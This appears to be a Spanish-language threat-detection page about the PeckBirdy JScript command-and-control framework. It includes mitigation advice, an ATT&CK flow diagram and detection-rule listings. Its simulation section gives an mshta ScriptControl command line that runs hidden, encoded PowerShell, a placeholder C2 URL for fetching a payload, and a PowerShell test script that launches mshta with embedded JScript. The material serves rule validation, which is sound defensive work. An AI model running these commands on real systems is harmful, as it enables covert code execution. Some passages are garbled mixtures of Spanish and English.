PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Utilizado por Grupos de Amenazas Alineados con China
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
PeckBirdy es un marco de mando y control basado en JScript utilizado por actores APT alineados con China para abusar de binarios de vivirenloslisten y desplegar puertas traseras modulares, incluidas HOLODONUT y MKDOOR. Está diseñado para ejecutarse en múltiples entornos de ejecución: navegadores web, MSHTA, WScript, NodeJS y .NET, y soporta varias opciones de transporte como WebSocket, Flash, Comet y HTTP. Se ha observado el marco en campañas rastreadas como SHADOW-VOID-044 y SHADOW-EARTH-045, que apuntaron a recursos de juego en línea, portales web gubernamentales asiáticos y una organización del sector educativo.
Investigación
Investigadores informaron de inyecciones de scripts maliciosos en sitios de apuestas comprometidos y páginas gubernamentales que descargaron el cargador de PeckBirdy, el cual luego recuperó cargas secundarias, destacándose un exploit de Chrome (CVE-2020-16040) y componentes de puerta trasera adicionales. La actividad se relacionó con dos implantes modulares, HOLODONUT y MKDOOR, y se conectó a grupos e infraestructuras observados previamente. El análisis también catalogó indicadores de compromiso, incluyendo direcciones IP, dominios y detalles operativos como el uso de certificados de firma de código robados.
Mitigación
Bloquear los dominios y direcciones IP maliciosas identificadas, y monitorear el uso atípico de LOLBin y la ejecución de scripts a través de MSHTA, WScript y NodeJS. Detectar la creación del unique_id archivo en %TEMP% y aplicar una validación estricta de certificados de firma de código. La cobertura para cargas útiles conocidas de Cobalt Strike y ensamblajes .NET generados por Donut puede reducir aún más la exposición.
Respuesta
Si se detecta, aísle los sistemas afectados, recopile el script inyectado y cualquier binario de puerta trasera producido, y bloquee la infraestructura de C2 asociada. Realice un triage forense para el movimiento lateral y actualice la lógica de detección para los artefactos de línea de comandos observados y patrones de tráfico de red.
«graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[«<b>Técnica</b> – <b>T1659 Inyección de Contenido</b><br /><b>Descripción</b>: Inyectar scripts maliciosos en páginas web comprometidas para entregar cargas útiles adicionales.»] class content_injection technique execution_mshta[«<b>Técnica</b> – <b>T1218.005 Ejecución de Proxy Binario Firmado: Mshta</b><br /><b>Descripción</b>: Usar mshta.exe para ejecutar archivos de aplicaciones HTML maliciosas.»] class execution_mshta technique execution_compiled_html[«<b>Técnica</b> – <b>T1218.001 Ejecución de Proxy Binario Firmado: Archivo HTML Compilado</b><br /><b>Descripción</b>: Usar archivos HTML compilados para ejecutar cargas útiles de JScript maliciosos.»] class execution_compiled_html technique victim_id_gen[«<b>Proceso</b> – Generación de Identificador de Víctima<br />Generar un ID de víctima único y preparar el script malicioso.»] class victim_id_gen process credential_steal_cookie[«<b>Técnica</b> – <b>T1539 Robo de Cookies de Sesión Web</b><br /><b>Descripción</b>: Extraer cookies de autenticación de la sesión del navegador de la víctima.»] class credential_steal_cookie technique alt_auth_material_cookie[«<b>Técnica</b> – <b>T1550.004 Usar Material de Autenticación Alternativo: Cookie de Sesión Web</b><br /><b>Descripción</b>: Reutilizar cookies de sesión robadas para autenticarse como la víctima.»] class alt_auth_material_cookie technique defense_evasion_code_signing[«<b>Técnica</b> – <b>T1553.002 Subvertir Controles de Confianza: Firma de Código</b><br /><b>Descripción</b>: Usar código firmado o mal firmado para eludir verificaciones de confianza.»] class defense_evasion_code_signing technique masquerading_invalid_sig[«<b>Técnica</b> – <b>T1036.001 Suplantación: Firma de Código Inválida</b><br /><b>Descripción</b>: Presentar binarios con firmas inválidas para evadir la detección.»] class masquerading_invalid_sig technique reflective_code_loading[«<b>Técnica</b> – <b>T1620 Carga de Código Reflexiva</b><br /><b>Descripción</b>: Cargar código directamente en la memoria sin invocar el cargador del sistema operativo.»] class reflective_code_loading technique process_injection[«<b>Técnica</b> – <b>T1055 Inyección de Procesos</b><br /><b>Descripción</b>: Inyectar código malicioso en un proceso en ejecución para ocultar la ejecución.»] class process_injection technique impair_defenses[«<b>Técnica</b> – <b>T1562 Deterioro de Defensas</b><br /><b>Descripción</b>: Deshabilitar o manipular herramientas y configuraciones de seguridad.»] class impair_defenses technique execution_guardrails[«<b>Técnica</b> – <b>T1480 Rieles de Seguridad de Ejecución</b><br /><b>Descripción</b>: Implementar verificaciones para ejecutar solo en objetivos o entornos específicos.»] class execution_guardrails technique obfuscated_embedded_payload[«<b>Técnica</b> – <b>T1027.009 Archivos o Información Ofuscada: Cargas Útiles Integradas</b><br /><b>Descripción</b>: Ocultar cargas útiles maliciosas dentro de archivos legítimos o flujos de datos.»] class obfuscated_embedded_payload technique command_and_control_web[«<b>Técnica</b> – <b>T1102 Servicio Web</b><br /><b>Descripción</b>: Usar servicios web estándar para comunicación de comando y control.»] class command_and_control_web technique encrypted_channel[«<b>Técnica</b> – <b>T1573 Canal Encriptado</b><br /><b>Descripción</b>: Encriptar el tráfico de C2 para evadir la inspección de la red.»] class encrypted_channel technique app_layer_web_protocols[«<b>Técnica</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br /><b>Descripción</b>: Comunicarse a través de protocolos web comunes como HTTP/HTTPS.»] class app_layer_web_protocols technique data_encoding[«<b>Técnica</b> – <b>T1132 Codificación de Datos</b><br /><b>Descripción</b>: Codificar datos para evitar la detección durante la transmisión.»] class data_encoding technique lateral_movement_exploit[«<b>Técnica</b> – <b>T1210 Explotación de Servicios Remotos</b><br /><b>Descripción</b>: Explotar servicios remotos vulnerables para moverse lateralmente.»] class lateral_movement_exploit technique remote_vulnerability[«<b>Proceso</b> – Explotación de la vulnerabilidad CVE-2020-16040 de Chrome»] class remote_vulnerability process rat_holodonut[«<b>Malware</b> – HOLODONUT<br />Puerta trasera personalizada utilizada para acceso remoto»] class rat_holodonut malware rat_mkdoor[«<b>Malware</b> – MKDOOR<br />Puerta trasera secundaria que proporciona persistencia»] class rat_mkdoor malware %% Operator Nodes op_and_exec((«AND»)) class op_and_exec operator %% Connections content_injection u002du002d>|entrega| execution_mshta content_injection u002du002d>|entrega| execution_compiled_html execution_mshta u002du002d>|lanza| victim_id_gen execution_compiled_html u002du002d>|lanza| victim_id_gen victim_id_gen u002du002d>|prepara el script para| credential_steal_cookie credential_steal_cookie u002du002d>|conduce a| alt_auth_material_cookie credential_steal_cookie u002du002d>|habilita| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|incluye| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|incluye| reflective_code_loading defense_evasion_code_signing u002du002d>|incluye| process_injection defense_evasion_code_signing u002du002d>|incluye| impair_defenses defense_evasion_code_signing u002du002d>|incluye| execution_guardrails defense_evasion_code_signing u002du002d>|incluye| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|habilita| command_and_control_web command_and_control_web u002du002d>|usa| encrypted_channel encrypted_channel u002du002d>|usa| app_layer_web_protocols app_layer_web_protocols u002du002d>|usa| data_encoding command_and_control_web u002du002d>|soporta| lateral_movement_exploit lateral_movement_exploit u002du002d>|vía| remote_vulnerability lateral_movement_exploit u002du002d>|despliega| rat_holodonut lateral_movement_exploit u002du002d>|despliega| rat_mkdoor «
Flujo de Ataque
Detecciones
LOLBAS WScript / CScript (por creación de procesos)
Ver
Comportamiento de Evasión de Defensa LOLBAS MSHTA Sospechoso detectado por Comandos Asociados (por creación de procesos)
Ver
Modificación de Exclusiones de Defender Sospechosa a través de WMIC (por línea de comando)
Ver
IOCs (HashSha1) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
IOCs (IP de Origen) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
IOCs (IP de Destino) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
Uso de MSHTA y ScriptControl para la Ejecución de PeckBirdy [Creación de Procesos en Windows]
Ver
Detección de Inyecciones de Script Maliciosas de PeckBirdy y Recolección de Credenciales [Servidor Web]
Ver
Ejecución de Simulación
Requisito previo: La Comprobación Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa deben reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa & Comandos de Ataque:
El adversario desea establecer un canal de control remoto utilizando el marco de script PeckBirdy. Ellos eligen script framework. They choosemshta.exeporque es un binario firmado de Windows que evita la mayoría de las listas blancas de aplicaciones. La carga útil embebe un ActiveXScriptControlobjeto para ejecutar el código JScript obtenido de un servidor C2. Los pasos son:- Descargar la carga maliciosa JScript del C2 (p. ej.
http://malicious.c2/payload.js). - Lanzar
mshta.execon unjavascript: URL en línea que crea unainstancia, carga el script descargado y lo ejecuta.ScriptControlEl código JScript establece un oyente TCP invertido, completando el punto de apoyo. - La línea de comando exacta que produce la telemetría es:
The exact command line that produces the telemetry is:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Este comando contiene tanto
mshta.execomo la cadenaScriptControl, satisfaciendo la condición Sigma. - Descargar la carga maliciosa JScript del C2 (p. ej.
-
Script de Prueba de Regresión:
El siguiente script automatiza la invocación maliciosa demshta. Se puede ejecutar en una estación de trabajo de prueba bajo una cuenta administrativa.#------------------------------------------------- # Ejecución de PeckBirdy vía mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Simple beacon – replace with real payload sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Codificar la carga de JScript para evitar problemas de salto de línea $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Lanzando mshta malicioso..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Comandos de Limpieza:
Eliminar cualquier artefacto creado por la prueba (por ejemplo, el archivo temporal).#------------------------------------------------- # Limpieza después de la simulación de PeckBirdy #------------------------------------------------- Write-Host "[*] Limpiando artefactos de prueba..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Detener cualquier proceso mshta persistente iniciado por la prueba Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force